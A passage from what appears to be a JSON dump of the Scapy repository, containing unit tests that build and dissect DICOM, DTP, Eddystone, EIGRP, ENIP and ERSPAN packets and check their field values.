bytes(pkt)\nassert struct.pack(\"<H\", 0x8021) in raw\nassert struct.pack(\"<H\", 0xFF00) in raw\n\n= C_GET_RQ creation\npkt = C_GET_RQ(message_id=200)\nraw = bytes(pkt)\nassert struct.pack(\"<H\", 0x0010) in raw\n\n= C_GET_RSP creation with sub-operation counters\npkt = C_GET_RSP(\n    message_id_responded=200,\n    status=0x0000,\n    num_remaining=0,\n    num_completed=10,\n    num_failed=0,\n    num_warning=0\n)\nraw = bytes(pkt)\nassert struct.pack(\"<H\", 0x8010) in raw\n\n= DIMSE command in P-DATA-TF - build verification\ndimse = C_ECHO_RQ(message_id=42)\npdv = PresentationDataValueItem(context_id=1, data=bytes(dimse), is_command=1, is_last=1)\npdata = DICOM() / P_DATA_TF(pdv_items=[pdv])\nraw = bytes(pdata)\nassert raw[0] == 0x04\nassert b'1.2.840.10008.1.1' in raw\n\n############\n############\n+ Helper function tests\n\n= build_presentation_context_rq creates proper structure\npctx = build_presentation_context_rq(\n    context_id=3,\n    abstract_syntax_uid=VERIFICATION_SOP_CLASS_UID,\n    transfer_syntax_uids=[DEFAULT_TRANSFER_SYNTAX_UID]\n)\nassert pctx.item_type == 0x20\nassert pctx.haslayer(DICOMPresentationContextRQ)\nassert pctx[DICOMPresentationContextRQ].context_id == 3\nsub_items = pctx[DICOMPresentationContextRQ].sub_items\nassert len(sub_items) == 2\nassert sub_items[0].item_type == 0x30\nassert sub_items[1].item_type == 0x40\n\n= build_user_information creates proper structure\nuser_info = build_user_information(max_pdu_length=32768)\nassert user_info.item_type == 0x50\nassert user_info.haslayer(DICOMUserInformation)\nsub_items = user_info[DICOMUserInformation].sub_items\nassert len(sub_items) >= 1\nassert sub_items[0].item_type == 0x51\nassert sub_items[0][DICOMMaximumLength].max_pdu_length == 32768\n\n= build_user_information with implementation info\nuser_info = build_user_information(\n    max_pdu_length=16384,\n    implementation_class_uid=\"1.2.3.4.5\",\n    implementation_version=\"SCAPY_V1\"\n)\nsub_items = user_info[DICOMUserInformation].sub_items\nassert len(sub_items) == 3\ntypes = [item.item_type for item in sub_items]\nassert 0x51 in types\nassert 0x52 in types\nassert 0x55 in types\n\n= _uid_to_bytes pads odd-length UIDs\nassert len(_uid_to_bytes(\"1.2.3\")) % 2 == 0\nassert _uid_to_bytes(\"1.2.3.4\") == b\"1.2.3.4\\x00\"\nassert _uid_to_bytes(\"1.2.3\") == b\"1.2.3\\x00\"\n\n############\n############\n+ User Identity Negotiation tests\n\n= User Identity username only (type 1)\npkt = DICOMVariableItem() / DICOMUserIdentity(\n    user_identity_type=1,\n    positive_response_requested=0,\n    primary_field=b\"admin\"\n)\nassert pkt.item_type == 0x58\nraw = bytes(pkt)\nparsed = DICOMVariableItem(raw)\nassert parsed.haslayer(DICOMUserIdentity)\nassert parsed[DICOMUserIdentity].user_identity_type == 1\nassert parsed[DICOMUserIdentity].primary_field == b\"admin\"\n\n= User Identity username+password (type 2)\npkt = DICOMVariableItem() / DICOMUserIdentity(\n    user_identity_type=2,\n    positive_response_requested=1,\n    primary_field=b\"admin\",\n    secondary_field=b\"password123\"\n)\nraw = bytes(pkt)\nparsed = DICOMVariableItem(raw)\nassert parsed.haslayer(DICOMUserIdentity)\nassert parsed[DICOMUserIdentity].user_identity_type == 2\nassert parsed[DICOMUserIdentity].primary_field == b\"admin\"\nassert parsed[DICOMUserIdentity].secondary_field == b\"password123\"\n\n= User Identity Response\npkt = DICOMVariableItem() / DICOMUserIdentityResponse(\n    server_response=b\"auth_token_12345\"\n)\nassert pkt.item_type == 0x59\nraw = bytes(pkt)\nparsed = DICOMVariableItem(raw)\nassert parsed.haslayer(DICOMUserIdentityResponse)\nassert parsed[DICOMUserIdentityResponse].server_response == b\"auth_token_12345\"\n\n############\n############\n+ Async Operations Window tests\n\n= Async operations default values\npkt = DICOMVariableItem() / DICOMAsyncOperationsWindow()\nassert pkt.item_type == 0x53\nraw = bytes(pkt)\nparsed = DICOMVariableItem(raw)\nassert parsed.haslayer(DICOMAsyncOperationsWindow)\nassert parsed[DICOMAsyncOperationsWindow].max_ops_invoked == 1\nassert parsed[DICOMAsyncOperationsWindow].max_ops_performed == 1\n\n= Async operations custom values\npkt = DICOMVariableItem() / DICOMAsyncOperationsWindow(\n    max_ops_invoked=8,\n    max_ops_performed=4\n)\nraw = bytes(pkt)\nparsed = DICOMVariableItem(raw)\nassert parsed[DICOMAsyncOperationsWindow].max_ops_invoked == 8\nassert parsed[DICOMAsyncOperationsWindow].max_ops_performed == 4\n\n############\n############\n+ SCP/SCU Role Selection tests\n\n= Role Selection SCU only\npkt = DICOMVariableItem() / DICOMSCPSCURoleSelection(\n    sop_class_uid=b\"1.2.840.10008.5.1.4.1.1.2\",\n    scu_role=1,\n    scp_role=0\n)\nassert pkt.item_type == 0x54\nraw = bytes(pkt)\nparsed = DICOMVariableItem(raw)\nassert parsed.haslayer(DICOMSCPSCURoleSelection)\nassert parsed[DICOMSCPSCURoleSelection].sop_class_uid == b\"1.2.840.10008.5.1.4.1.1.2\"\nassert parsed[DICOMSCPSCURoleSelection].scu_role == 1\nassert parsed[DICOMSCPSCURoleSelection].scp_role == 0\n\n############\n############\n+ DICOM extract_padding for StreamSocket\n\n= DICOM extract_padding method exists\npkt = DICOM()\nassert hasattr(pkt, 'extract_padding')\n\n= DICOM extract_padding separates payload from trailing data\npkt = DICOM()\npkt.length = 10\npayload, remaining = pkt.extract_padding(b'0123456789EXTRA')\nassert payload == b'0123456789'\nassert remaining == b'EXTRA'\n\n############\n############\n+ TCP layer binding\n\n= DICOM binds to TCP port 104\nfrom scapy.layers.inet import TCP\npkt = TCP(dport=104) / b'\\x01\\x00\\x00\\x00\\x00\\x04'\nassert DICOM in pkt or pkt.payload\n\n############\n############\n+ Edge cases\n\n= Empty variable items list\npkt = DICOM() / A_ASSOCIATE_RQ(variable_items=[])\nserialized = bytes(pkt)\nparsed = DICOM(serialized)\nassert parsed.haslayer(A_ASSOCIATE_RQ)\n\n= Empty PDV items list\npkt = DICOM() / P_DATA_TF(pdv_items=[])\nserialized = bytes(pkt)\nassert len(serialized) == 6\n"
  },
  {
    "path": "test/contrib/dtp.uts",
    "content": "+ DTP Contrib tests\n\n= Basic DTP build\n\npkt = DTP(tlvlist=[DTPNeighbor(neighbor='00:11:22:33:44:55'), DTPDomain(domain=b\"\\x01\\x02\\x03\")])\nassert raw(pkt) == b'\\x01\\x00\\x04\\x00\\n\\x00\\x11\"3DU\\x00\\x01\\x00\\x07\\x01\\x02\\x03'\n\n= Basic DTP dissection\n\npkt = Ether(b'\\x01\\x00\\x0c\\xcc\\xcc\\xcc\\xd0P\\x99V\\xdd\\xf9\\x00\"\\xaa\\xaa\\x03\\x00\\x00\\x0c \\x04\\x01\\x00\\x03\\x00\\x05\\xa5\\x00\\x04\\x00\\n\\xaa\\xbb\\xcc\\xdd\\xee\\xff\\x00\\x01\\x00\\x05\\x00\\x00\\x02\\x00\\x05\\x03')\nassert DTP in pkt\nassert pkt[DTP].tlvlist[0].dtptype == b'\\xa5'\nassert pkt[DTP].tlvlist[1].neighbor == 'aa:bb:cc:dd:ee:ff'\nassert pkt[DTP].tlvlist[2].domain == b'\\x00'\nassert pkt[DTP].tlvlist[3].status == b'\\x03'\n\n= Test negotiate_trunk\n\nfrom unittest import mock\n\ndef test_pkt(pkt):\n    pkt = Ether(raw(pkt))\n    assert DTP in pkt\n    assert len(pkt[DTP].tlvlist) == 4\n    print(\"Succeed\")\n\n@mock.patch(\"scapy.contrib.dtp.sendp\", side_effect=test_pkt)\ndef _test_negotiate_trunk(m):\n    negotiate_trunk()\n\n_test_negotiate_trunk()\n"
  },
  {
    "path": "test/contrib/eddystone.uts",
    "content": "# Eddystone unit tests\n#\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('eddystone')\" -t test/contrib/eddystone.uts\n\n+ Eddystone tests\n\n= Setup\n\ndef expect_exception(e, c):\n    try:\n        c()\n        return False\n    except e:\n        return True\n\n= Eddystone URL (decode EIR)\n\nd = hex_bytes('0c16aafe10040373636170790a')\np = EIR_Hdr(d)\np.show()\n\nassert p[EIR_ServiceData16BitUUID].svc_uuid == 0xfeaa\nassert p[Eddystone_URL].to_url() == b'https://scapy.net'\n\n= Eddystone URL (decode LE Set Advertising Data)\n\nd = hex_bytes('01082020140201020303aafe0c16aafe10040373636170790a0000000000000000000000')\np = HCI_Hdr(d)\n\nassert p[EIR_ServiceData16BitUUID].svc_uuid == 0xfeaa\nassert p[Eddystone_URL].to_url() == b'https://scapy.net'\n\n= Eddystone URL (encode frames)\n\nd = raw(Eddystone_URL.from_url('https://scapy.net'))\nassert d == hex_bytes('10000373636170790a')\n\nd = raw(Eddystone_URL.from_url('https://www.scapy.net'))\nassert d == hex_bytes('10000173636170790a')\n\n# Include some other .extensions in the path\nd = raw(Eddystone_URL.from_url('http://www.example.com/hello.info.html'))\nassert d == hex_bytes('1000006578616d706c650068656c6c6f0b2e68746d6c')\n\n= Eddystone URL (encode unsupported scheme)\n\nassert expect_exception(Exception, lambda: Eddystone_URL.from_url('gopher://example.com'))\n\n= Eddystone URL (encode advertising report)\n\np = Eddystone_URL.from_url('https://scapy.net').build_advertising_report()\nassert raw(p[EIR_ServiceData16BitUUID]) == hex_bytes('aafe10000373636170790a')\n\n"
  },
  {
    "path": "test/contrib/eigrp.uts",
    "content": "% EIGRP Tests\n* Tests for the Scapy EIGRP layer\n\n+ Basic Layer Tests\n* These are just some basic tests\n\n= EIGRP IPv4 Binding\n~ eigrp_ipv4_binding\np = IP()/EIGRP()\np[IP].proto == 88\n\n= EIGRP IPv6 Binding\n~ eigrp_ipv6_binding\np = IPv6()/EIGRP()\np[IPv6].nh == 88\n\n= EIGRP checksum field\n~ eigrp_chksum_field\np = IP()/EIGRP(flags=0xa, seq=23, ack=42, asn=100)\ns = p[EIGRP].build()\nstruct.unpack(\"!H\", s[2:4])[0] == 64843\n\n+ Custom Field Tests\n* Test funciontally of custom made fields\n\n= ShortVersionField nice representation\nf = ShortVersionField(\"ver\", 3072)\nf.i2repr(None, 3072) == \"v12.0\" and f.i2repr(None, 258) == \"v1.2\"\n\n= ShortVersionField h2i function\nf = ShortVersionField(\"ver\", 0)\nf.h2i(None, 3073) == f.h2i(None, \"v12.1\")\n\n= ShortVersionField error\ntry:\n    f = ShortVersionField(\"ver\", None)\n    f.h2i(None, \"Error\")\n    assert False\nexcept Scapy_Exception:\n    assert True\n\nf = ShortVersionField(\"ver\", \"default\")\nassert f.h2i(None, \"Error\") == \"default\"\nassert f.i2repr(None, \"Error\") == \"unknown\"\nassert f.randval() <= 65535\n\n= EigrpIPField length with prefix length of 8 bit\nf = EigrpIPField(\"ipaddr\", \"192.168.1.0\", length=8)\nassert f.m2i(None, b\"\\x01\") == '1.0.0.0'\nassert f.i2m(None, \"1.0.0.0\") == b\"\\x01\"\nassert f.i2len(None, \"\") == 1\n\n= EigrpIPField length with prefix length of 12 bit\nf = EigrpIPField(\"ipaddr\", \"192.168.1.0\", length=12)\nassert f.m2i(None, b\"\\x01\\x02\") == '1.2.0.0'\nassert f.i2len(None, \"\") == 2\n\n= EigrpIPField length with prefix length of 24 bit\nf = EigrpIPField(\"ipaddr\", \"192.168.1.0\", length=24)\nassert f.m2i(None, b\"\\x01\\x02\\x03\") == '1.2.3.0'\nassert f.i2len(None, \"\") == 3\n\n= EigrpIPField length with prefix length of 28 bit\nf = EigrpIPField(\"ipaddr\", \"192.168.1.0\", length=28)\nassert f.m2i(None, b\"\\x01\\x02\\x03\\x04\") == '1.2.3.4'\nassert f.i2len(None, \"\") == 4\n\n= EigrpIPField randval\nassert inet_pton(socket.AF_INET, f.randval())\n\n= EigrpIP6Field length with prefix length of 8 bit\nf = EigrpIP6Field(\"ipaddr\", \"2000::\", length=8)\nf.i2len(None, \"\") == 2\n\n= EigrpIP6Field length with prefix length of 99 bit\nf = EigrpIP6Field(\"ipaddr\", \"2000::\", length=99)\nf.i2len(None, \"\") == 13\n\n= EigrpIP6Field length with prefix length of 128 bit\nf = EigrpIP6Field(\"ipaddr\", \"2000::\", length=128)\nf.i2len(None, \"\") == 16\n\n= EigrpIP6Field randval\nassert inet_pton(socket.AF_INET6, f.randval())\n\n= EIGRPGuessPayloadClass function: Return Parameters TLV\nfrom scapy.contrib.eigrp import _EIGRPGuessPayloadClass\nisinstance(_EIGRPGuessPayloadClass(b\"\\x00\\x01\" + b\"\\x00\" * 50), EIGRPParam)\n\n= EIGRPGuessPayloadClass function: Return Authentication Data TLV\nisinstance(_EIGRPGuessPayloadClass(b\"\\x00\\x02\" + b\"\\x00\" * 50), EIGRPAuthData)\n\n= EIGRPGuessPayloadClass function: Return Sequence TLV\nisinstance(_EIGRPGuessPayloadClass(b\"\\x00\\x03\" + b\"\\x00\" * 50), EIGRPSeq)\n\n= EIGRPGuessPayloadClass function: Return Software Version TLV\nisinstance(_EIGRPGuessPayloadClass(b\"\\x00\\x04\" + b\"\\x00\" * 50), EIGRPSwVer)\n\n= EIGRPGuessPayloadClass function: Return Next Multicast Sequence TLV\nisinstance(_EIGRPGuessPayloadClass(b\"\\x00\\x05\" + b\"\\x00\" * 50), EIGRPNms)\n\n= EIGRPGuessPayloadClass function: Return Stub Router TLV\nisinstance(_EIGRPGuessPayloadClass(b\"\\x00\\x06\" + b\"\\x00\" * 50), EIGRPStub)\n\n= EIGRPGuessPayloadClass function: Return Internal Route TLV\nisinstance(_EIGRPGuessPayloadClass(b\"\\x01\\x02\" + b\"\\x00\" * 50), EIGRPIntRoute)\n\n= EIGRPGuessPayloadClass function: Return External Route TLV\nisinstance(_EIGRPGuessPayloadClass(b\"\\x01\\x03\" + b\"\\x00\" * 50), EIGRPExtRoute)\n\n= EIGRPGuessPayloadClass function: Return IPv6 Internal Route TLV\nisinstance(_EIGRPGuessPayloadClass(b\"\\x04\\x02\" + b\"\\x00\" * 50), EIGRPv6IntRoute)\n\n= EIGRPGuessPayloadClass function: Return IPv6 External Route TLV\nisinstance(_EIGRPGuessPayloadClass(b\"\\x04\\x03\" + b\"\\x00\" * 100), EIGRPv6ExtRoute)\n\n= EIGRPGuessPayloadClass function: Return EIGRPGeneric\nisinstance(_EIGRPGuessPayloadClass(b\"\\x23\\x42\" + b\"\\x00\" * 50), EIGRPGeneric)\n\n+ TLV List\n\n= EIGRP parameters and software version\np = IP()/EIGRP(tlvlist=[EIGRPParam()/EIGRPSwVer()])\ns = b'\\x45\\x00\\x00\\x3C\\x00\\x01\\x00\\x00\\x40\\x58\\x7C\\x67\\x7F\\x00\\x00\\x01\\x7F\\x00\\x00\\x01\\x02\\x05\\xEE\\x6C\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x64\\x00\\x01\\x00\\x0C\\x01\\x00\\x01\\x00\\x00\\x00\\x00\\x0F\\x00\\x04\\x00\\x08\\x0C\\x00\\x01\\x02'\nraw(p) == s\n\n= EIGRP Sequence\np = EIGRP(tlvlist=[EIGRPSeq(addrlen=16, ip6addr=\"45e4:0ecf:cff3:7be2:6059:771e:a221:3342\")])\nassert raw(p) == b'\\x02\\x05\\x881\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00d\\x00\\x03\\x00\\x15\\x10E\\xe4\\x0e\\xcf\\xcf\\xf3{\\xe2`Yw\\x1e\\xa2!3B'\np = EIGRP(raw(p))\nassert p.tlvlist[0].ip6addr == \"45e4:ecf:cff3:7be2:6059:771e:a221:3342\"\n\n= EIGRP Generic\np = EIGRP(opcode=5, ack=1, flags=\"init\", tlvlist=[EIGRPGeneric(value=b\"data\"), EIGRPGeneric(value=b\"doto\")])\np = EIGRP(raw(p))\nassert p.tlvlist[1].value == b\"doto\"\nassert p.tlvlist[1].len == 8\nassert p.summary() == 'EIGRP (AS=100 Opcode=Hello (ACK) Flags=init)'\n\n= EIGRP internal route length field\np = IP()/EIGRP(tlvlist=[EIGRPIntRoute(prefixlen=24, dst=\"192.168.1.0\")])\nstruct.unpack(\"!H\", p[EIGRPIntRoute].build()[2:4])[0] == 28\np = IP(raw(p))\nassert p.tlvlist[0].prefixlen == 24\nassert p.tlvlist[0].dst == \"192.168.1.0\"\n\n= EIGRP external route length field\np = IP()/EIGRP(tlvlist=[EIGRPExtRoute(prefixlen=16, dst=\"10.1.0.0\")])\nstruct.unpack(\"!H\", p[EIGRPExtRoute].build()[2:4])[0] == 47\n\n= EIGRPv6 internal route length field\np = IP()/EIGRP(tlvlist=[EIGRPv6IntRoute(prefixlen=64, dst=\"2000::\")])\nstruct.unpack(\"!H\", p[EIGRPv6IntRoute].build()[2:4])[0] == 46\np = IP(raw(p))\nassert p.tlvlist[0].prefixlen == 64\nassert p.tlvlist[0].dst == \"2000::\"\n\n= EIGRPv6 external route length field\np = IP()/EIGRP(tlvlist=[EIGRPv6ExtRoute(prefixlen=99, dst=\"2000::\")])\nstruct.unpack(\"!H\", p[EIGRPv6ExtRoute].build()[2:4])[0] == 70\n\n+ Stub Flags\n* The receive-only flag is always set, when a router announces itself as stub router.\n\n= Receive-Only\np = IP()/EIGRP(tlvlist=[EIGRPStub(flags=\"receive-only\")])\np[EIGRPStub].flags == 0x0008\n\n= Connected\np = IP()/EIGRP(tlvlist=[EIGRPStub(flags=\"connected+receive-only\")])\np[EIGRPStub].flags == 0x0009\n\n= Static\np = IP()/EIGRP(tlvlist=[EIGRPStub(flags=\"static+receive-only\")])\np[EIGRPStub].flags == 0x000a\n\n= Summary\np = IP()/EIGRP(tlvlist=[EIGRPStub(flags=\"summary+receive-only\")])\np[EIGRPStub].flags == 0x000c\n\n= Connected, Summary\np = IP()/EIGRP(tlvlist=[EIGRPStub(flags=\"connected+summary+receive-only\")])\np[EIGRPStub].flags == 0x000d\n\n= Static, Summary\np = IP()/EIGRP(tlvlist=[EIGRPStub(flags=\"static+summary+receive-only\")])\np[EIGRPStub].flags == 0x000e\n\n= Redistributed, Connected\np = IP()/EIGRP(tlvlist=[EIGRPStub(flags=\"redistributed+connected+receive-only\")])\np[EIGRPStub].flags == 0x0019\n\n= Redistributed, Static\np = IP()/EIGRP(tlvlist=[EIGRPStub(flags=\"redistributed+static+receive-only\")])\np[EIGRPStub].flags == 0x001a\n\n= Redistributed, Static, Connected\np = IP()/EIGRP(tlvlist=[EIGRPStub(flags=\"redistributed+static+connected+receive-only\")])\np[EIGRPStub].flags == 0x001b\n\n= Redistributed, Summary\np = IP()/EIGRP(tlvlist=[EIGRPStub(flags=\"redistributed+summary+receive-only\")])\np[EIGRPStub].flags == 0x001c\n\n= Redistributed, Connected, Summary\np = IP()/EIGRP(tlvlist=[EIGRPStub(flags=\"redistributed+connected+summary+receive-only\")])\np[EIGRPStub].flags == 0x001d\n\n= Connected, Redistributed, Static, Summary\np = IP()/EIGRP(tlvlist=[EIGRPStub(flags=\"connected+redistributed+static+summary+receive-only\")])\np[EIGRPStub].flags == 0x001f\n\n= Leak-Map\np = IP()/EIGRP(tlvlist=[EIGRPStub(flags=\"leak-map+receive-only\")])\np[EIGRPStub].flags == 0x0028\n\n= Connected, Leak-Map\np = IP()/EIGRP(tlvlist=[EIGRPStub(flags=\"connected+leak-map+receive-only\")])\np[EIGRPStub].flags == 0x0029\n\n+ Routing Updates\n\n= External route flag external\np = EIGRPExtRoute(flags=\"external\")\np.flags == 0x1\n\n= External route flag candidate-default route\np = EIGRPExtRoute(flags=\"candidate-default\")\np.flags == 0x2\n\n= Multiple internal routing updates\np = IP()/EIGRP(tlvlist=[EIGRPIntRoute(), EIGRPIntRoute(hopcount=12), EIGRPIntRoute()])\np[EIGRPIntRoute:2].hopcount == 12\n\n= Multiple external routing updates\np = IP()/EIGRP(tlvlist=[EIGRPExtRoute(), EIGRPExtRoute(mtu=23), EIGRPExtRoute()])\np[EIGRPExtRoute:2].mtu == 23\n\n+ Authentication Data TLV\n\n= Verify keysize calculation\np = IP()/EIGRP(tlvlist=[EIGRPAuthData(authdata=b\"\\xaa\\xbb\\xcc\")])\np[EIGRPAuthData].build()[6:8] == b\"\\x00\\x03\"\n\n= Verify length calculation\np = IP()/EIGRP(tlvlist=[EIGRPAuthData(authdata=b\"\\xaa\\xbb\\xcc\\xdd\")])\np[EIGRPAuthData].build()[2:4] == b\"\\x00\\x1c\"\n"
  },
  {
    "path": "test/contrib/enipTCP.uts",
    "content": "%ENIP Tests\n\n+Syntax check\n= Import the enip layer\n\nfrom scapy.contrib.enipTCP import *\n#from scapy.all import *\n\n\n+ Test ENIP/TCP Encapsulation Header\n= Encapsulation Header Default Values\npkt=ENIPTCP()\nassert pkt.commandId == None\nassert pkt.length == 0\nassert pkt.session == 0\nassert pkt.status == None\nassert pkt.senderContext == 0\nassert pkt.options == 0\n\n\n+ ENIP List Services 0x0004\n= ENIP List Services Reply Command ID\npkt=ENIPTCP()\npkt.commandId=0x4\nassert pkt.commandId == 0x4\n\n= ENIP List Services Default Values\npkt=ENIPListServices()\nassert pkt.itemCount == 0\n\n= ENIP List Services Custom Values\npkt.items.append(ENIPListServicesItem(serviceName=b'test'))\nassert pkt.items[0].itemTypeCode == 0\nassert pkt.items[0].itemLength == 0\nassert pkt.items[0].protocolVersion == 0\nassert pkt.items[0].flag == 0\nassert pkt.items[0].serviceName == b'test'\n\n\n+ ENIP List Identity 0x0063\n= ENIP List Identity Reply Command ID\npkt=ENIPTCP()\npkt.commandId=0x63\nassert pkt.commandId == 0x63\nassert raw(pkt) == b\"c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" \\\nb\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\n= ENIP List Identity Default Values\npkt=ENIPListIdentity()\nassert pkt.itemCount == 0\n\n= ENIP List Identity Custom Values\npkt=ENIPListIdentityItem(sinAddress=\"192.168.1.1\",\n\t\tproductNameLength=4, productName=b\"test\")\nassert pkt.protocolVersion == 0\nassert pkt.sinAddress == \"192.168.1.1\"\nassert pkt.productNameLength == 4\nassert pkt.productName == b'test'\n\n\n+ ENIP List Interfaces\n= ENIP List Interfaces Reply Command ID\npkt=ENIPTCP()\npkt.commandId=0x64\nassert pkt.commandId == 0x64\n\n= ENIP List Interfaces Reply Default Values\npkt=ENIPListInterfaces()\nassert pkt.itemCount == 0\n\n= ENIP List Interfaces Reply Items Default Values\npkt=ENIPListInterfacesItem(itemTypeCode=0x0c)\nassert pkt.itemTypeCode == 0x0c\nassert pkt.itemLength == 0\nassert pkt.itemData == b''\n\n\n+ ENIP Register Session\n= ENIP Register Session Command ID\npkt=ENIPTCP()\npkt.commandId=0x65\nassert pkt.commandId == 0x65\n\n= ENIP Register Session Default Values\npkt=ENIPRegisterSession()\nassert pkt.protocolVersion == 1\nassert pkt.options == 0\n\n= ENIP Register Session Request\nregisterSessionReqPkt = b'\\x65\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00'\n\npkt = ENIPTCP(registerSessionReqPkt)\nassert pkt.commandId == 0x65\nassert pkt.length == 4\nassert pkt.session == 0\nassert pkt.status == 0\nassert pkt.senderContext == 0\nassert pkt.options == 0\nassert pkt[ENIPRegisterSession].protocolVersion == 1\nassert pkt[ENIPRegisterSession].options == 0\n\n= ENIP Register Session Reply\nregisterSessionRepPkt = b'\\x65\\x00\\x04\\x00\\x7b\\x9a\\x4e\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00'\n\npkt = ENIPTCP(registerSessionRepPkt)\nassert pkt.commandId == 0x65\nassert pkt.length == 4\nassert pkt.session == 0xa14e9a7b\nassert pkt.status == 0\nassert pkt.senderContext == 0\nassert pkt.options == 0\nassert pkt[ENIPRegisterSession].protocolVersion == 1\nassert pkt[ENIPRegisterSession].options == 0\nraw(pkt)\n\n\n+ ENIP Send RR Data\n= ENIP Send RR Data Command ID\npkt=ENIPTCP()\npkt.commandId=0x6f\nassert pkt.commandId == 0x6f\n\n= ENIP Send RR Data Default Values\npkt=ENIPSendRRData()\nassert pkt.interface == 0\nassert pkt.timeout == 255\nassert pkt.itemCount == 0\n\n= ENIP Send RR Data Request\nsendRRDataReqPkt = b'\\x6f\\x00\\x3e\\x00\\x7b\\x9a\\x4e\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\xb2\\x00\\x2e\\x00'\npkt = ENIPTCP(sendRRDataReqPkt)\nassert pkt.commandId == 0x6f\nassert pkt.length == 62\nassert pkt.session == 0xa14e9a7b\nassert pkt.status == 0\nassert pkt.senderContext == 0\nassert pkt.options == 0\nassert pkt.interface == 0\nassert pkt.timeout == 0\nassert pkt.itemCount == 2\n\n= ENIP Send RR Data Reply\nsendRRDataRepPkt = b'\\x6f\\x00\\x2e\\x00\\x7b\\x9a\\x4e\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x02\\x00\\x00\\x00\\x00\\x00\\xb2\\x00\\x1e\\x00'\n\npkt = ENIPTCP(sendRRDataRepPkt)\nassert pkt.commandId == 0x6f\nassert pkt.length == 46\nassert pkt.session == 0xa14e9a7b\nassert pkt.status == 0\nassert pkt.senderContext == 0\nassert pkt.options == 0\nassert pkt.interface == 0\nassert pkt.timeout == 1024\nassert pkt.items[0].typeId == 0\nassert pkt.items[0].length == 0\nassert pkt.items[1].typeId == 0x00b2\nassert pkt.items[1].length == 30\n\n\n+ ENIP Send Unit Data\n= ENIP Send Unit Data Command ID\npkt=ENIPTCP()\npkt.commandId=0x70\nassert pkt.commandId == 0x70\n\n= ENIP Send Unit Data Default Values\npkt=ENIPSendUnitData()\nassert pkt.interface == 0\nassert pkt.timeout == 255\nassert pkt.itemCount == 0\n\n= ENIP Send Unit Data\nsendUnitDataPkt = b'\\x70\\x00\\x2d\\x00\\x7b\\x9a\\x4e\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\xa1\\x00\\x04\\x00\\xcc\\x60\\x9a\\x7b\\xb1\\x00\\x19\\x00\\x01\\x00'\n\npkt = ENIPTCP(sendUnitDataPkt)\nassert pkt.commandId == 0x70\nassert pkt.length == 45\nassert pkt.session == 0xa14e9a7b\nassert pkt.status == 0\nassert pkt.senderContext == 0\nassert pkt.options == 0\nassert pkt.interface == 0\nassert pkt.timeout == 0\nassert pkt.itemCount == 2\n\nassert pkt.items[0].typeId == 0x00a1\nassert pkt.items[0].length == 4\nassert pkt.items[0].data == b'\\x7b\\x9a\\x60\\xcc'\nassert pkt.items[1].typeId == 0x00b1\nassert pkt.items[1].length == 25\nassert pkt.items[1].data == b'\\x00\\x01'\n"
  },
  {
    "path": "test/contrib/erspan.uts",
    "content": "% ERSPAN\n\n+ ERSPAN I\n= Build & dissect ERSPAN 1\n\npkt = GRE()/ERSPAN_I()/Ether()\npkt = GRE(bytes(pkt))\nassert ERSPAN in pkt\nassert pkt.proto == 0x88be\nassert pkt.seqnum_present == 0\n\n+ ERSPAN II\n= Build ERSPAN II\n\npkt = GRE()/ERSPAN_II()/Ether(src=\"11:11:11:11:11:11\", dst=\"ff:ff:ff:ff:ff:ff\")\nb = bytes(pkt)\nassert b == b'\\x10\\x00\\x88\\xbe\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x11\\x11\\x11\\x11\\x11\\x11\\x90\\x00'\n\n= Dissect ERSPAN II\n\npkt = GRE(b)\nassert pkt[GRE].proto == 0x88be\nassert pkt[GRE].seqnum_present == 1\nassert pkt[GRE][ERSPAN].ver == 1\nassert pkt[Ether].src == \"11:11:11:11:11:11\"\n\n+ ERSPAN III\n= Build & dissect ERSPAN III with platform specific\n\npkt = GRE()/ERSPAN_III()/ERSPAN_PlatformSpecific()/Ether()\npkt = GRE(bytes(pkt))\nassert pkt[GRE].proto == 0x22eb\nassert pkt[ERSPAN_III].o == 1\nassert ERSPAN_PlatformSpecific in pkt\nassert Ether in pkt\n\n= Build & dissect ERSPAN III without platform specific\npkt = GRE()/ERSPAN_III()/Ether()\npkt = GRE(bytes(pkt))\nassert pkt[GRE].proto == 0x22eb\nassert pkt[ERSPAN_III].o == 0\nassert ERSPAN_PlatformSpecific not in pkt\nassert Ether in pkt\n\n"
  },
  {
    "path": "test/contrib/esmc.uts",
